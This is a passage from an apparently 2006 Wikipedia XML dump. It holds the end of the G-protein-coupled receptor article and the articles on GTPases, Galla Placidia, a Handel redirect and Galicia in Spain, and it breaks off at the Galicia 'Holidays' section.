While in other types of receptors that have been studied ligands bind externally to the membrane, the [[ligand]]s of GPCRs typically bind within the transmembrane domain.

The [[signal transduction|transduction of the signal]] through the membrane by the receptor is not completely understood. It is known that the inactive [[G protein]] is bound to the receptor in its inactive state. Once the ligand is recognized, the receptor shifts [[Chemical conformation|conformation]] and thus mechanically activates the G protein, which detaches from the receptor. The receptor can now either activate another G protein, or switch back to its inactive state. This is an overly simplistic explanation, but suffices to convey the overall set of events.

&lt;!-- Image with unknown copyright status removed: [[Image:GPCR_signaling.png|frame|center|650px|The activation of G-protein (blue-orange-green) by GPCR (pink).&lt;br /&gt;[http://www.pdb.org/pdb/static.do?p=education_discussion/molecule_of_the_month/pdb58_2.html ''PDB's Molecule of the Month, October 2004'']] --&gt;

It is believed that a receptor molecule exists in a conformational equilibrium between active and inactive states.{{ref|confequil Rubenstein 1998}} The binding of ligands to the receptor may shift the equilibrium (for example see [http://www.bio-balance.com/Graphics.htm link]). Three types of ligands exist: agonists are ligands which shift the equilibrium in favour of active states; [[inverse agonist]]s are ligands which shift the equilibrium in favour of inactive states; and neutral antagonists are ligands which do not affect the equilibrium. It is not yet known how exactly the active and inactive states differ from each other.

If a receptor in an active state encounters a [[G protein]], it may activate it. Some evidence suggests that receptors and G-proteins are actually pre-coupled. For example, binding of G-proteins to receptors affects the receptor's affinity for ligands.

===GPCR signaling without G-proteins===
In the late 1990s, evidence began accumulating that some GPCRs are able to signal without G-proteins. The ERK2 mitogen-activated protein kinase, a key signal transduction mediator downstream of receptor activation in many pathways, has been shown to be activated in response to cAMP-mediated receptor activation in the slime mold ''D. discoideum'' despite the absence of the associated G-protein &amp;alpha;- and &amp;beta;-subunits. 

In mammalian cells the well-studied &amp;beta;2-adrenoceptor has been demonstrated to activate the ERK2 pathway after arrestin-mediated uncoupling of G-protein mediated signalling. It therefore seems likely that some mechanisms previously believed to be purely related to receptor desensitisation are actually examples of receptors switching their signalling pathway rather than simply being switched off.

== Receptor regulation ==
GPCRs are known to become less sensitive to their ligand when they are exposed to it for a prolonged period of time. The key reaction of this downregulation is the [[phosphorylation]] of the intracellular (or [[cytoplasm|cytoplasmic]]) receptor domain by [[protein kinase]]s.

=== Phosphorylation by cAMP-dependent protein kinases ===
[[Cyclic AMP-dependent protein kinase]]s (protein kinase A) are activated by the signal chain coming from the G protein (that was activated by the receptor) via [[adenylate cyclase]] and [[cyclic AMP]] (cAMP). In a ''feedback mechanism'', these activated kinases phosphorylate the receptor. The longer the receptor remains active, the more kinases are activated, the more receptors are phosphorylated.

=== Phosphorylation by GRKs ===
The [[G-protein-coupled receptor kinases]] (GRKs) are protein kinases that phosphorylate only active GPCRs.

Phosphorylation of the receptor can have two consequences:

# ''Translocation''. The receptor is, along with the part of the membrane it is embedded in, brought to the inside of the cell, where it is dephosphorylated and then brought back. This mechanism is used to regulate long-term exposure, for example, to a hormone.
# ''[[Arrestin]] linking''. The phosphorylated receptor can be linked to ''arrestin'' molecules that prevent it from binding (and activating) G proteins, effectively switching it off for a short period of time. This mechanism is used, for example, with [[rhodopsin]] in [[retina]] cells to compensate for exposure to bright light. In many cases, arrestin binding to the receptor is a prerequisite for translocation.

== Receptor oligomerization ==

It is generally accepted that that G-protein-coupled receptors can form homo- and/or hetero-dimers and possibly more complex oligomeric structures.  However, it is presently unproven that true hetero-dimers exist. Present bio-chemical and physical techniques lack the resolution to differentiate between distinct homo-dimers assembled into an oligomer or true 1:1 hetero-dimers.  It is also unclear what the functional significance of oligomerization is.  This is an actively studied area in GPCR research.

== References ==
* {{note | lotsofdrugs}} {{news reference
 | firstname=David
 | lastname=Filmore
 | pages=11
 | title=It's a GPCR world
 | date=November 2004
 | org=Modern Drug Discovery (American Chemical Society)
 | url=http://pubs.acs.org/subscribe/journals/mdd/v07/i11/html/1104feature_filmore.html
}}
* {{cite journal
 | author=Kroeze, W.K., Sheffler, D.J., and Roth, B.L.
 | title=G-protein-coupled receptors at a glance
 | journal=Journal of Cell Science
 | year=2003
 | volume=116
 | pages=4867–4869
 | url=http://jcs.biologists.org/cgi/content/full/116/24/4867
}}
* {{note | confequil}} {{cite journal
 | author=Rubenstein, Lester A. and Lanzara, Richard G.
 | title=Activation of G protein-coupled receptors entails cysteine modulation of agonist binding
 | journal=Journal of Molecular Structure (Theochem)
 | year=1998
 | volume=430
 | pages=57–71
 | url=http://cogprints.org/4095/
}}

[[de:G-Protein-gekoppelter Rezeptor]]
[[fi:G-proteiinikytkentäinen reseptori]]

[[Category:Membrane biology]]
[[Category:G protein coupled receptors]]
[[Category:Signal transduction]]</text>
    </revision>
  </page>
  <page>
    <title>GTPase</title>
    <id>12833</id>
    <revision>
      <id>42091630</id>
      <timestamp>2006-03-03T19:47:51Z</timestamp>
      <contributor>
        <username>Bluemoose</username>
        <id>178836</id>
      </contributor>
      <comment>converting HTML to wiki markup using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">'''GTPases''' are a large family of [[enzyme]]s that can bind and [[hydrolysis|hydrolyze]] [[Guanosine triphosphate|GTP]]. The GTP binding and hydrolysis takes place in the highly [[conserved]] ''G [[domain (protein)|domain]]'' common to all GTPases. GTPases play an important role in: 
* [[Signal transduction]] at the intracellular domain of [[G protein-coupled receptor|transmembrane receptor]]s, including recognition of taste, smell and light. 
* [[Protein biosynthesis]] (aka [[translation (biology)|translation]]) at the [[ribosome]]. 
* Control and [[cellular differentiation|differentiation]] during [[cell division]]. 
* [[Translocation]] of [[protein]]s through [[cell membrane|membrane]]s. 
* Transport of [[vesicle (biology)|vesicle]]s within the [[cell (biology)|cell]]. (GTPases control assembly of vesicle coats).

==Mechanism of GTP==
The hydrolysis of the &amp;gamma; [[phosphate]] of GTP supposedly occurs by the S&lt;sub&gt;N&lt;/sub&gt;2 mechanism (see [[nucleophilic substitution]]) via a ''pentavalent intermediate state'' depending on [[magnesium|Mg&lt;sup&gt;2+&lt;/sup&gt;]].

&lt;!-- Insert image here --&gt;

==Regulatory GTPases==
Regulatory GTPases, also called the [[GTPase superfamily]], are GTPases used for regulation of other [[biochemistry|biochemical]] processes. Most prominent among the regulatory GTPases are the G proteins.

===GTP switch===
All regulatory GTPases have a common mechanism that enables them to switch a [[signal transduction]] chain on and off. Throwing the switch is performed by the unidirectional change of the GTPase from the ''active, [[GTP]]-bound form'' to the ''inactive, [[guanosine diphosphate|GDP]]-bound form'' by [[hydrolysis]] of the GTP through intrinsic GTPase-activity, effectively switching the GTPase ''off''. This reaction is initiated by [[GTPase-activating protein]]s (GAPs), coming from another signal transduction pathway. It can be reverted (switching the GTPase ''on'' again) by [[Guanine nucleotide exchange factor]]s (GEFs), which cause the GDP to dissociate from the GTPase, leading to its association with a new GTP. This closes the cycle to the active state of the GTPase; the irreversible hydrolysis of the GTP to GDP forces the cycle to run only in one direction. Only the active state of the GTPase can transduce a signal to a reaction chain.

===Switch regulation===
The efficiency of the signal transduction via a GTPase depends on the ratio of active to inactive GTPase. That equals:

&lt;!--
:GTPase*GTP   k&lt;sub&gt;diss.GDP&lt;/sub&gt; 
:&lt;sup&gt;__________&lt;/sup&gt; = &lt;sup&gt;_________&lt;/sup&gt; 
:GTPase*GDP   k&lt;sub&gt;cat.GTP&lt;/sub&gt; 
--&gt;

:&lt;math&gt;
\frac {\mbox{GTPase}*\mbox{GTP}} {\mbox{GTPase}*\mbox{GDP}} =
\frac {k_\mbox{diss.GDP}} {k_\mbox{cat.GTP}}
&lt;/math&gt;

with ''k&lt;sub&gt;diss.GDP&lt;/sub&gt;'' being the dissociation constant of GDP, and ''k&lt;sub&gt;cat.GTP&lt;/sub&gt;'' the hydrolysis constant of GTP for the specific GTPase. Both constants can be modified by special regulatory proteins.&lt;br&gt; 
The amount of active GTPase can be changed in several ways : 
# Acceleration of GDP dissociation by GEFs speeds up the building of active GTPase. 
# Inhibition of GDP dissociation by [[guanine nucleotide dissociation inhibitor]]s (GDIs) slows down the building of active GTPase. 
# Acceleration of GTP hydrolysis by GAPs reduces the amount of active GTPase. 
# ''GTP analogues'' like ''&amp;gamma;-S-GTP'', ''&amp;beta;,&amp;gamma;-methylene-GTP'', and ''&amp;beta;,&amp;gamma;-imino-GTP'' that cannot be hydrolized fixate the GTPase in its active state.

==Heterotrimeric G proteins==
These G proteins are made from three subunits, with the G domain located on the largest one (the ''&amp;alpha; unit''); together with the two smaller subunits (''&amp;beta;'' and ''&amp;gamma; units''), they form a tightly associated protein complex. &amp;alpha; and &amp;gamma; unit are associated with the membrane by [[lipid anchor]]s. Heterotrimeric G proteins act as the specific reaction partners of [[G protein-coupled receptor]]s. The GTPase is normally inactive. Upon receptor activation, the intracellular receptor domain activates the GTPase, which in turn activates other molecules of the signal transduction chain, either via the &amp;alpha; unit or the &amp;beta;&amp;gamma; complex. Among the target molecules of the active GTPase are [[adenylate cyclase]] and [[ion channel]]s. The heterotrimeric G proteins can be classified by [[sequence homology]] of the &amp;alpha; unit into four families: 
# ''G&lt;sub&gt;s&lt;/sub&gt; family.'' These G proteins are used in the signal transduction of taste and smell. They always use the activation of [[adenylate cyclase]] as the next step in the signal chain. Their function is permanently activated by the [[cholera toxin]], which is the cause of the fatal effects of infection with ''[[Vibrio cholerae]]''. 
# ''G&lt;sub&gt;i&lt;/sub&gt; family.'' The ''i'' stands for ''inhibition'' of the [[adenylate cyclase]]; another effector molecule for this protein family is ''[[phospholipase]] C''. Also, G&lt;sub&gt;t&lt;/sub&gt; and G&lt;sub&gt;g&lt;/sub&gt; proteins are summarized under this label due to sequence homologies. G&lt;sub&gt;t&lt;/sub&gt; proteins, aka [[transducin]], is used in the light recognition pathway in retina cells. G&lt;sub&gt;g&lt;/sub&gt; protein occurs in the taste recognition for ''bitter''. Most G&lt;sub&gt;i&lt;/sub&gt; protein family members can be inhibited by the [[pertussis toxin]] of ''[[Bordetella pertussis]]''. 
# ''G&lt;sub&gt;q&lt;/sub&gt; family.'' These proteins usually have [[phospholipase]] C as effector protein. 
# ''G&lt;sub&gt;12&lt;/sub&gt; family.'' These G proteins can be activated by [[thromboxan receptor]]s and [[thrombin receptor]]s. Their effector proteins are unknown. 
By combination of different &amp;alpha;, &amp;beta; and &amp;gamma; subunits, a great variety (&gt;1000) G proteins can be produced.
GDP is not needed for GTP.

===Activation cycle of heterotrimeric G proteins=== 
In the basic state, the G&lt;sub&gt;&amp;alpha;&lt;/sub&gt;-GDP-G&lt;sub&gt;&amp;beta;&amp;gamma;&lt;/sub&gt; complex and the receptor that can activate it are separately associated with the membrane. On receptor activation, the receptor becomes highly [[electron affinity|affine]] for the G protein complex. On binding with the complex, GDP dissociates from the complex; the ''free'' complex has a high affinity for GTP. Upon GTP binding, both G&lt;sub&gt;&amp;alpha;&lt;/sub&gt;-GTP and G&lt;sub&gt;&amp;beta;&amp;gamma;&lt;/sub&gt; separate from both the receptor and from each other. Depending on the lifetime of the active state of the receptor, it can activate more G proteins this way.&lt;br&gt; 
Both G&lt;sub&gt;&amp;alpha;&lt;/sub&gt;-GTP and G&lt;sub&gt;&amp;beta;&amp;gamma;&lt;/sub&gt; can now activate separate effector molecules and activate them, thus sending the signal further down the signal reaction chain. Once the intrinsic GTPase activity of the &amp;alpha; unit has hydrolyzed the GTP to GDP, the two parts can reassociate to the original, inactive state. The speed of the hydrolysis reaction works as an internal clock for the length of the signal. 

==The Ras GTPase superfamily==
These are small monomeric proteins homologous to [[Ras]].  They are also called [[small GTPase]]s.  Small GTPases have a molecular weight of about 21 kilo-Dalton and generaly serve as molecular swithes for a variety of cellular signaling events. According to their primary amino acid sequences and biochemical properties, the Ras superfamily is further divided into five subfamily: [[Ras]], [[Rho (protein)|Rho]], [[Rab (G-protein)|Rab]], [[Arf (protein)|Arf]] and [[Ran (protein)|Ran]].

==[[Translation (biology)|Translation]] factor family==
These GTPases play an important role in [[initiation]], [[elongation]] and [[termination]] of [[protein biosynthesis]].

&lt;!-- Fill in more! --&gt;

==[[Translocation]] factors==
See [[signal recognition particle]] (SRP).

&lt;!-- Fill in more! --&gt;

:''See also :'' [[biochemistry]] - [[G-protein coupled receptors]]

[[Category:Signal transduction]]

[[nl:GTPase]]
[[zh:纺锤体]]</text>
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  </page>
  <page>
    <title>Galla Placidia</title>
    <id>12835</id>
    <revision>
      <id>40761215</id>
      <timestamp>2006-02-22T21:20:14Z</timestamp>
      <contributor>
        <username>Black Sword</username>
        <id>232869</id>
      </contributor>
      <text xml:space="preserve">[[Image:As Galla Placidia RIC 2113.jpg|thumb|300px|Galla Placidia on a coin struck by her son [[Valentinian III]]. On the reverse, a cross (typical of all the coinage referring to Galla Placidia) stands for her Christian faith.]]
'''Aelia Galla Placidia'''  (c.[[390]] - [[November 27]], [[450]]) lived one of the most eventful lives of late antiquity.  Daughter of the [[Roman Emperors|Roman emperor]] [[Theodosius I]] and his second wife, [[Galla (empress)|Galla]], herself daughter of the Emperor [[Valentinian I]], Galla Placidia was half sister of emperors [[Flavius Augustus Honorius|Honorius]] and [[Arcadius]].

She had spent much time in the household of [[Stilicho]] the Vandal and his wife [[Serena (Roman)|Serena]].  Stilicho was effectively the military steward of the West, and according to himself also of the East.  He was executed by Honorius, however, in [[408]] apparently with Placidia's consent, or at least lack of objection, causing most of the non-Italians in Roman service to go over to [[Alaric]] - who promptly invaded Italy.

In either 409 or 410, during [[Alaric I|Alaric]]'s siege of [[Rome]], she became the captive of the [[Visigoths]], who kept her with them as they sacked Rome (for three days beginning [[August 24]], [[410]]), then wandered through Italy where Alaric died in the same year, and later [[Gaul]].

She married [[Athaulf]], brother of Alaric, and king of the Visigoths after Alaric's death, at [[Narbo]] in January [[414]], although the historian [[Jordanes]] states that they married earlier, in [[411]] at Forum Livii ([[Forlì]]). Jordanes's date may actually be when she and the Gothic king first became more than captor and captive. She had a son, Theodosius, by the Visigothic king, but he died in infancy, was buried in [[Barcelona]]. Years later the corpse was exhumed and reburied in the imperial mausoleum in [[Saint Peter's Basilica]], Rome. Athaulf was mortally wounded by a servant of a Gothic chieftain he had slain, and before dying in the late summer of [[415]], instructed his brother to return Galla to the Romans. It was the Gothic King [[Wallia]] who traded her to the Romans in return for a treaty and supplies early in [[416]]. [[Image:Ravenna 1978 079.jpg|thumb|200px|Interior of the [[Mausoleum of Galla Placidia]] in [[Ravenna]].]]

Her brother Honorius forced her into marriage to the Roman [[Constantius III|Constantius]] in January of [[417]]. They had a son who became [[Valentinian III]], and a rather more strong-willed daughter, [[Justa Grata Honoria]]. Constantius became emperor in [[421]], but died shortly afterwards.  Galla herself, the former Augusta, was however forced from the Western empire.  Whatever the politics or motivations, the public issue was increasingly scandalous public sexual caresses from her own brother Honorius.   She left with her young children to find refuge at [[Constantinople]].  After Honorius died in [[423]], and after the suppression of [[Joannes]] despite his ally [[Flavius_Aëtius|Aëtius]]' attempt to raise troops to his aid, her son Valentinian was elevated as Emperor in Rome in [[425]].

At first she attempted to rule in her son's name, but as the generals loyal to her one by one either died or defected to Aëtius, imperial policy came to rest in his hands by the time he was made patrician.  Placidia apparently was the one who made peace with Aetius - he later was pivotal to the defense of the Western Empire against [[Attila the Hun]] - who was diverted from his focus on Constantinople towards Italy as his target due to a foolish letter from Placidia's own daughter, [[Justa Grata Honoria]], in spring [[450]], asking him to rescue her from an unwanted marriage to a senator that the Imperial family, including Placidia, was trying to force on her.  Placidia's last notable public act was to convince her son [[Valentinian III]] to exile not kill her for this.  She died shortly afterwards at Rome in November 450, and did not live to see Attilla ravage Italy in [[451]]-[[453]] in a much more brutal campaign than the Goths had waged, using Justa's letter as their sole &quot;legitimate&quot; excuse.

Throughout her life Galla remained a devout [[Catholic]], and in her later years endowed or enriched several churches in [[Ravenna]]. Her [[Mausoleum of Galla Placidia|Mausoleum]] in Ravenna was one of the [[UNESCO]] [[World Heritage Sites]] inscribed in [[1996]].

==External references==
{{Commons|Galla Placidia}}
*[http://etext.library.adelaide.edu.au/g/g43d/chapter33.html Edward Gibbon, ''History of the Decline and Fall of the Roman Empire,'' chapter 33]

*A good, modern study of Placidia and the times she lived in can be found in Stewart Irwin Oost, ''Galla Placidia Augusta, A Biographical Essay'' (1967).


[[Category:390 births]]
[[Category:450 deaths]]
[[Category:Ancient Roman women]]
[[Category:Valentinian Dynasty]]
[[Category:House of Theodosius]]

[[de:Galla Placidia]]
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[[nl:Galla Placidia]]
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[[sv:Galla Placidia]]</text>
    </revision>
  </page>
  <page>
    <title>Georg Friedrich Handel</title>
    <id>12836</id>
    <revision>
      <id>15910493</id>
      <timestamp>2003-03-06T20:43:22Z</timestamp>
      <contributor>
        <username>Camembert</username>
        <id>3113</id>
      </contributor>
      <minor />
      <comment>fix redir</comment>
      <text xml:space="preserve">#REDIRECT [[George_Frideric_Handel]]</text>
    </revision>
  </page>
  <page>
    <title>Galicia (Spain)</title>
    <id>12837</id>
    <revision>
      <id>41516795</id>
      <timestamp>2006-02-27T22:07:11Z</timestamp>
      <contributor>
        <ip>217.124.21.33</ip>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">{{Infobox Galicia}}
:''This article deals with the country of Galicia in Spain.  For the region of the same name in central Europe, see [[Galicia (Central Europe)]].''

'''Galicia''' (also ''Galiza'') is an [[autonomous communities in Spain|autonomous community]], with the status of [[historic nationality]] in the northwest of [[Spain]].

==Galicia or Galiza==
Galiza and Galicia are two officially recognized spellings of the country's name in Galician. The Roman name for the region (the oldest recorded) was &quot;[[Gallaecia]]&quot;, but the use of a &quot;z&quot; has a claim to antiquity relative as long as “Galiza” is found in the initial texts written in the Galizan-Luso-language, and was only gradually replaced by “Galicia” during the Leon-Castillian domination of the Kingdom, still exerted today.

Therefore, the use of Galicia is considered a Spanish interference by many, who consider the ancient form as the purest one (linguistically speaking). Logically, leftist nationalist parties and organizations nationwide (such as [[Bloque Nacionalista Galego|BNG]]) use only Galiza.

==History==
{{main|History of Galicia}}
The name Galicia comes from the Latin name [[Gallaecia]], associated with the name of the ancient Celtic tribe that resided above the [[Douro]] river, the ''Gallaeci'' or ''Callaeci'' in Latin, and [[Kallaikoi]] in Greek (these tribes were mentioned by [[Herodotus]]).

Before the Roman invasion, a series of tribes lived in the region, having &amp;mdash; according to [[Strabo]], [[Pliny the Elder|Pliny]], [[Herodotus]] and others &amp;mdash; a similar culture and customs. These tribes appear to have [[Celts|Celtic]] culture; there is evidence that the last Galician Celtic speaker died in the 15th century.

The region was first entered by the Roman legions under [[Decimus Junius Brutus]] in [[137 BC | 137]]&amp;ndash;[[136 BC]]. (Livy lv., lvi., ''Epitome''); but the province was only superficially Romanized in the time of [[Augustus]].

In the [[5th century AD]] invasions, Galicia fell to the [[Suevi]] in [[411]], who formed a kingdom. In [[584]], the Visigothic King Leovigild invaded the Suebic kingdom of Galicia and defeated it, bringing it under Visigoth control. During the Moorish invasion of Spain, the Moors briefly occupied Galicia until they were driven out in [[739]] by [[Alfonso I of Asturias]].

During the [[9th century|9th]] and [[10th century|10th centuries]], the counts of Galicia owed fluctuating obedience to their nominal sovereign, and Normans/Vikings occasionally raided the coasts. The Towers of Catoira[http://www.catoira.net (see Viking Festival)] (Pontevedra) were built as a system of fortifications to stop Viking raids of [[Santiago de Compostela]].

In [[1063]], [[Ferdinand I of Castile and León]] divided his kingdom among his sons. Galicia was allotted to [[Garcia II of Galicia]]. In [[1072]], it was forcibly reannexed by Garcia's brother [[Alphonso VI of Castile]], and from that time Galicia remained part of the kingdom of Castile and Leon, although under differing degrees of self-government.

The final episode of Galician independence, up to today, was the dynastic conflict between [[Isabella of Castile]] and Xoana, called &quot;a beltranexa&quot; (&quot;Daugther of Beltrán&quot;, and not to be confused with [[Juana of Castile|Juana the Crazy (Juana of Castille)]]). Queen Isabella, during her reign as queen of Castilla, made (the historically unproven) accusations upon her niece (Xoana) of being a bastard of Beltrán and the former queen (hence the name Beltranexa). A political fight ensued, and the Xoana-supporting nobles lost (most of the Galician aristocracy); thus giving Isabel a free ticket to initiate the process she called &quot;Doma y Castración del Reino de Galicia&quot; (&quot;Taming and Castration of the Kingdom of Galicia&quot;(sic)(Court Historian, [[Zurita y Castro, Jeronimo|Zurita]])).

{{History of Galicia}}
Galician [[nationalism|nationalist]] and federalist movements arose in the nineteenth century, and after the second Spanish Republic was declared in [[1931]], Galicia became an autonomous region following a referendum. During the 1936&amp;ndash;75 dictatorship of General [[Francisco Franco]] &amp;mdash; himself a Galician from [[Ferrol]] &amp;mdash; Galicia's autonomy statute was annulled (in common with those of Catalonia and the Basque provinces). Franco's regime also suppressed any official promotion of the Galician language, although its everyday use was never proscribed. During the last decade of Franco's rule, there was a renewal of nationalist feeling in Galicia.

Following the transition to democracy, after Franco's death in [[1975]], Galicia regained its status as an autonomous region within Spain. Varying degrees of nationalist or separatist sentiment are evident at the political level. The only nationalist party of any electoral significance, the ''[[Bloque Nacionalista Galego]]'' or BNG, it's a conglomerate of left-wing and radical left wing (national-socialist) individuals, that advocate total independence from Spain. However, the nationalist parties such as those have hitherto obtained only minority electoral support at election time.

From 1990 to 2005, the region's government and parliament, the [[Xunta de Galicia]] was presided over by the ''Partido Popular'' ('People's Party', Spain's main national conservative party) under [[Manuel Fraga]], a former minister and ambassador under the Franco regime.  However, in the 2005 Galician elections, the People's Party lost its overall majority, while just remaining the largest party in the parliament.  As a result power passed to a coalition between the ''Partido Socialista de Galicia'' (PSdeG) ('Galician Socialist Party'), a regional sister-party of Spain's main socialist party, the ''Partido Socialista Obrero Español'' ('Spanish Socialist Workers Party') and the BNG.  As the senior partner in the new coalition, the PSdeG nominated its leader, [[Emilio Perez Touriño]], to serve as Galicia's new president.

==Language==
{{main|Galician language}}
[[Image:MapaLinguisticoGalego.png|thumb|right|250px|Linguistic map of the [[Galician|Galician language]].]]
The spoken languages are [[Galician]] (Galician: ''Galego or Gallego''), the local national language derived from Latin, and [[Spanish language|Spanish]] (''castellano'' or ''español''), in common with the rest of Spain.

Spanish was the only official language for several centuries. Since the end of the [[20th century|20&lt;sup&gt;th&lt;/sup&gt; century]], the Galician language also has an official status, and both languages are taught in Galician schools. There is a broad consensus of support within the region for efforts to preserve the Galician language.

The Galician and [[Portuguese language| Portuguese]] languages are derived from the early [[Galician-Portuguese]] (''Galego-Português'') language, and are still considered by some but two dialects of the same Galician-Portuguese language. In the Middle Ages, the Galician and Portuguese languages began to diverge because of the political separation of Portugal from Galicia. There remain many similarities between Portuguese and Galician. Orally, these differences are comparable in scope to those between [[Flemish (linguistics)|Flemish]] &amp;mdash; a form of [[Dutch language |Dutch]] spoken in [[Belgium]] &amp;mdash; and standard Dutch.

A distinct [[Galician literature|Galician Literature]] emerged after the Middle Ages. In the 13th century, important contributions were made to the romance canon in Galego-Português. The most notable was by the [[troubadour]] Martín Codax and King [[Alfonso X of Castile]], called El ''Sabio'' (The Wise). During this period, Galego-Português was considered the language of love poetry in the Iberian proto-romance linguistic culture.

==Geography==
Since 1833, Galicia has been divided in four administrative [[provinces of Spain|provinces]]:
*[[A Coruña (province)|A Coruña]],
*[[Ourense (province)|Ourense]],
*[[Pontevedra (province)|Pontevedra]], and
*[[Lugo (province)|Lugo]].

The main cities are [[Vigo]], [[A Coruña]] (Corunna in English), [[Pontevedra]], [[Lugo]], [[Ferrol]], [[Ourense]], and [[Santiago de Compostela]], the region's capital and archiepiscopal seat, and home of the shrine which gave rise to medieval Europe's most famous [[Pilgrim|pilgrimage]] route, The [[Way of St James]].

[[Image:galiciacoast.jpg|thumb|240px|right|Finisterre on the Atlantic coast of Galicia]]

Geographically, one of the most important features of Galicia is the presence of many fjord-like indentations on the coast, [[estuaries]] that were drowned with rising sea levels after the [[ice age]]. These are called ''[[rias|rías]]'' and are divided into the [[Rias Altas]] and the [[Rías Baixas]]. Most of the population live near the Rias Baixas, where several large urban centers including [[Vigo]] and [[Pontevedra]] are located. The ''rias'' are important for fishing, and make the coast of Galicia one of the most important fishing areas of the world. The spectacular landscapes and wildness of the coast attract great numbers of tourists.

The weather is Atlantic, with mild temperatures all over the year. Santiago de Compostela has an average 100 days of rain a year. The interior, specifically the more mountainous parts of Ourense and Lugo, receive significant freezes and snowfall during the winter months.

Galicia has preserved much of its dense Atlantic forests where wildlife is commonly found. It is scarcely polluted, and its landscape composed of green hills, cliffs and ''rias'' is very different to what is commonly understood as Spanish landscape.

Inland, the region is less populated and suffers from migration to the coast and the major cities of Spain. There are few small cities ([[Ourense]], [[Lugo]], [[Verín]], [[Monforte de Lemos]], [[A Rua]]), and there are many small villages. The terrain is made up of several low mountain ranges crossed by many small rivers that are not navigable but have provided hydroelectric power from the many dams. Galicia has so many small rivers that it has been called the &quot;land of the thousand rivers&quot;. The most important of the rivers are the [[Miño]] and the [[Sil]], which has a spectacular canyon.

The mountains in Galicia are not high but have served to isolate the rural population and discourage development in the interior. There is a ski resort in [[Cabeza de Manzaneda]] (1700 m) in [[Ourense (province)|Ourense Province]]. The highest mountain is [[Trevinca]] ([[1 E3 m|2 100 m]]) on the eastern border with León and Zamora provinces ([[Castilla y León]]).

Although the region is filled with extensive natural areas, Galicia has had environmental problems in the modern age. Deforestation is a problem in many areas, as is the continual spread of the invasive eucalyptus tree, imported for the paper industry, which is causing imbalances in the indigenous ecosystem. Fauna, most notably the European wolf, have suffered from livestock owners and farmers. The native deer species have declined because of hunting and development. Recently, oil spills have become a major issue, especially with the [[Mar Egeo]] disaster in A Coruña and the infamous [[Prestige oil spill]] in 2002, a crude oil spill larger than the Exxon Valdez disaster in Alaska. Other environmental issues include gas flushing by maritime traffic, pollution from fish hatcheries on the coast, overfishing, and the highest incidence of [[forest fire]]s in Spain, in spite of the wetter Galician climate.

==Economy==
{{main|Economy of Galicia}}
Galicia is a land of economic contrast. While the western coast, with its major population centers, and its fishing and manufacturing industries is prosperous and increasing in population, the rural hinterland&amp;mdash;the provinces of [[Ourense]] and [[Lugo]]&amp;mdash;are economically dependent on traditional agriculture, based on small landholdings called ''minifundios''. However, the rise of tourism, sustainable forestry and organic and traditional agriculture are bringing other possibilities to the Galician economy without compromising the preservation of the natural resources and the local culture.

==Population==
Galicia's inhabitants are called &quot;Galicians&quot; (in Portuguese &amp; Galician ''galegos''; in Spanish ''gallegos''). There was significant Galician emigration in the 19th and early 20th centuries to other parts of Spain and to Latin America. In fact, the city with the second greatest number of Galician people is [[Buenos Aires]], [[Argentina]]
,where immigration from Galicia was so massive that all Spaniards are now called ''gallegos''.

==Cuisine==
{{main|Galician cuisine}}
Galician cuisine often uses fish and shellfish. One of its dishes, [[Empanadas]], is a meat or fish pie. It has Celtic influence. [[Caldo Galego]] is a hearty soup whose main ingredients are potatoes and a local vegetable named [[Grelo]]. [[Centolla]] is the equivalent of King [[Crab]]. It is prepared by being boiled alive, having its main body opened like a shell, and then having its innards mixed vigorously. Centolla is served in water. It has a regional type of cheese, too: [[tetilla]]. It is triangularly shaped and is white, and takes the name from the similarity in shape to a woman's breast.

==Famous Galicians==
[[Image:Castelao.jpg|thumb|right|[[Castelao|Alfonso Daniel Rodríguez Castelao]] ([[Rianxo]], 1886 - [[Buenos Aires]], 1950)]]
*[[Galician literature|Literature (in Galician)]]:
** [[Rosalía de Castro]]
** [[Manuel Curros Enríquez]]
** [[Eduardo Pondal]]
** [[Castelao]]
** [[Celso Emilio Ferreiro]]
** [[Xosé Luís Méndez Ferrín]]
*Literature (others):
** [[Camilo José Cela]] ([[Nobel Prize for Literature]], [[1989]])
** [[Emilia Pardo-Bazán]]
** [[Gonzalo Torrente Ballester]]
** [[Ramón del Valle-Inclán]]
** [[Ignacio Ramonet]]
*Photography:
** [[Manuel Ferrol]]
** [[Mariano Grueiro]]
** [[Xurxo Lobato]]
*Music:
** [[Carlos Núñez]]
** [[Luar na Lubre]]
** [[Milladoiro]]
** [[Manu Chao]]
*Film:
** [[Mariano Grueiro]]
*Artist:
** [[Castelao]]
*Architecture:
** [[Cesar Portela]]
** [[Mestre Mateo]]
*Design:
** [[Aduaneiros sem Fronteiras]]
*Politics:
** [[Fidel Castro]]
** [[Julián Besteiro]]
** [[Manuel Fraga]]
** [[Francisco Franco]]
** [[Pablo Iglesias]]
** [[Xosé Manuel Beiras]]
** [[Anxo Quintana]]
** [[Emilio Pérez Touriño]]
** [[Santiago Casares Quiroga]]

==Outstanding contemporary musicians and groups==
*[http://www.ofiadeiro.com O Fiadeiro] traditional dancing, singing and tunes, from [[Vigo]]
*[http://www.sondeseu.org/ SonDeSeu ] modern orchestra with traditional instruments (harps, hurdy-gurdies, tambourines, flutes, violins and bagpipes) and repertoire
*[http://www.mercedespeon.net/ Mercedes Peón] singer and musician who draws heavily upon tradition to produce very modern music
*[http://www.xosemanuelbudino.com/ Xosé Manuel Budiño] bagpiper who plays modern music with a traditional stroke
*[http://www.xistra.info/ Xistra de Coruxo] traditional group and association
*[http://www.xacarandaina.com Xacarandaina] traditional dancing, singing and tunes, from [[A Coruña]]
*[http://www.berroguetto.com/ Berrogüetto] group which manages a perfect, balanced, virtuoso combination of tradition and modernity
*[http://www.oscempes.com/ Os Cempés] traditional quintet from [[Trasancos]] with spicy and joyful lyrics and rhythm
*[http://www.quempallou.com/ Quempallou] traditional music full of joy and energy from [[O Morrazo]] e [[O Incio]]
*[http://www.ghastaspista.com/xiradela.php Xiradela] female singers and players of tambourine and traditional percussion from [[Arteixo]]
*[http://www.susanaseivane.com/ Susana Seivane] possible the best female bagpiper from [[Cambre]]
*[http://www.luarnalubre.com/ Luar na Lubre] wonderful traditional group
*[[Carlos Nuñez]] musician who plays the [[Galician gaita|gaita]], a kind of [[bagpipes]]

==Football Teams==
*[[Real Club Deportivo de La Coruña]] One of Spain's most successful football teams in recent years, from [[A Coruña]]
*[[Real Club Celta de Vigo]] from [[Vigo]]
*[[Racing de Ferrol]] Play in Spain's Segunda División, from [[Ferrol]]

==Holidays==
